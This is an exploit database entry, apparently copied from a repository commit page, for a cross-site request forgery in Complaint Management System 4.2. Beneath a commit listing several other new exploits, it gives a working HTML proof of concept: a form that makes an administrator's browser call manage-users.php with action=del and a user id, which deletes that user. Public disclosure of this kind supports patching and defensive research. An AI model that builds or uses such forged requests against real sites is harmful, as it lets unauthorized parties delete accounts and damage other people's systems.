cae82bb178
8 changes to exploits/shellcodes User Management System 2.0 - Persistent Cross-Site Scripting User Management System 2.0 - Authentication Bypass Complaint Management System 4.2 - Persistent Cross-Site Scripting Complaint Management System 4.2 - Authentication Bypass Complaint Management System 4.2 - Cross-Site Request Forgery (Delete User) Zen Load Balancer 3.10.1 - Directory Traversal (Metasploit) Sky File 2.1.0 iOS - Directory Traversal
29 lines
No EOL
1,001 B
Text
29 lines
No EOL
1,001 B
Text
# Exploit Title: Complaint Management System 4.2 - Cross-Site Request Forgery (Delete User)
|
|
# Author: Besim ALTINOK
|
|
# Vendor Homepage: https://phpgurukul.com/
|
|
# Software Link: https://phpgurukul.com/complaint-management-sytem/
|
|
# Version: v4.2
|
|
# Tested on: Xampp
|
|
# Credit: İsmail BOZKURT
|
|
*************************************************
|
|
Detail:
|
|
|
|
You can perform CSRF Attack for all the functions.
|
|
|
|
----------------------------------------------
|
|
|
|
CSRF PoC for Delete User
|
|
----------------------------------------------
|
|
This request performs over the GET request with uid.
|
|
------------------------------------------------------------------------
|
|
<html>
|
|
<body>
|
|
<script>history.pushState('', '', '/')</script>
|
|
<form action="http://localhost/cms/admin/manage-users.php">
|
|
<input type="hidden" name="uid" value="4" />
|
|
<input type="hidden" name="" value="" />
|
|
<input type="hidden" name="action" value="del" />
|
|
<input type="submit" value="Submit request" />
|
|
</form>
|
|
</body>
|
|
</html> |